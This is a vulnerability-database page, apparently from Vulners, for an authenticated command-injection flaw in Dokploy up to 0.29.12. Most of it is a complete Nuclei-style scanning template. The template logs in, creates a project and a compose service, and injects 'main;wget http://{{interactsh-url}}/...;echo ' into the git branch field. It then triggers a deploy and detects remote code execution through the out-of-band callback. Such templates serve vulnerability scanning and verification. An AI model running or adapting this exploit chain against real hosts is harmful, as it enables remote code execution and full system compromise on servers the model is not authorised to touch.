Dokploy <= 0.29.12 - Authenticated RCE via Command Injection
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Exploit for CVE-2026-72867 | 20 Oct 202621:56 | – | githubexploit | |
| Exploit for CVE-2026-72867 | 21 Oct 202608:11 | – | githubexploit | |
| CVE-2026-72867 | 10 Aug 202618:36 | – | attackerkb | |
| CVE-2026-72867 | 10 Aug 202619:32 | – | circl | |
| CVE-2026-72867 | 10 Aug 202618:36 | – | cve | |
| CVE-2026-72867 Dokploy: Incomplete fix of CVE-2026-45628: Command Injection via Unvalidated Branch Fields in Compose Deployment Pipeline (server-side regex missing in compose.ts) | 10 Aug 202618:36 | – | cvelist | |
| EUVD-2026-55725 | 10 Aug 202618:36 | – | euvd | |
| CVE-2026-72867 | 10 Aug 202618:36 | – | mend | |
| CVE-2026-72867 | 10 Aug 202619:17 | – | nvd | |
| PT-2026-69908 | 10 Aug 202600:00 | – | ptsecurity |
10
id: CVE-2026-72867
info:
name: Dokploy <= 0.29.12 - Authenticated RCE via Command Injection
author: DhiyaneshDk
severity: critical
description: |
Dokploy <= 0.29.12 is vulnerable to authenticated OS command injection through the customGitBranch field of a compose service. The value is concatenated unsanitized into git clone --branch <customGitBranch> ... and executed via /bin/sh during deploy (packages/server/src/utils/providers/git.ts -> child_process.exec). An authenticated user can inject shell metacharacters to achieve remote code execution on the Dokploy host.
impact: |
Low-privileged authenticated users can execute arbitrary commands on the host, potentially leading to full system compromise.
remediation: |
Upgrade to version 0.29.13 or later.
reference:
- https://lulztigre.pw/posts/dokploy-cve-2026-72867-working-poc.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-72867
- https://github.com/dokploy/dokploy
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-72867
cwe-id: CWE-78
metadata:
verified: true
max-request: 5
vendor: dokploy
product: dokploy
shodan-query: html:"Dokploy"
tags: cve,cve2026,dokploy,rce,authenticated,oast,intrusive,oob
variables:
rnd: "{{rand_base(8)}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
POST /api/auth/sign-in/email HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{email}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
extractors:
- type: regex
name: session_cookie
part: header
group: 1
regex:
- "(?i)Set-Cookie:\\s*(better-auth[^=]*=[^;\\s]+)"
internal: true
- raw:
- |
POST /api/trpc/project.create?batch=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Cookie: {{session_cookie}}
{"0":{"json":{"name":"p{{rnd}}","description":""}}}
matchers:
- type: dsl
dsl:
- 'contains(body, "projectId")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: json
name: environment_id
internal: true
part: body
json:
- '.[0].result.data.json.environment.environmentId'
- raw:
- |
POST /api/trpc/compose.create?batch=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Cookie: {{session_cookie}}
{"0":{"json":{"name":"c{{rnd}}","environmentId":"{{environment_id}}"}}}
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "composeId")'
- 'status_code == 200'
condition: and
extractors:
- type: json
name: compose_id
internal: true
part: body
json:
- '.[0].result.data.json.composeId'
- raw:
- |
POST /api/trpc/compose.update?batch=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Cookie: {{session_cookie}}
{"0":{"json":{"composeId":"{{compose_id}}","sourceType":"git","customGitUrl":"https://github.com/dokploy/dokploy.git","customGitBranch":"main;wget http://{{interactsh-url}}/{{rnd}};echo "}}}
matchers:
- type: dsl
dsl:
- 'contains(body, "customGitBranch")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /api/trpc/compose.deploy?batch=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Cookie: {{session_cookie}}
{"0":{"json":{"composeId":"{{compose_id}}"}}}
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "http", "dns")'
# digest: 490a0046304402207915a3641d3f8c2644471e19462770b777703914a00936f93e7de3e03f88bc81022079c80c44d60120625f6a886809ac60b333286ce4dcaeb0bc2410087427780ae6:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Oct 2026 00:54Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.9
EPSS0.00954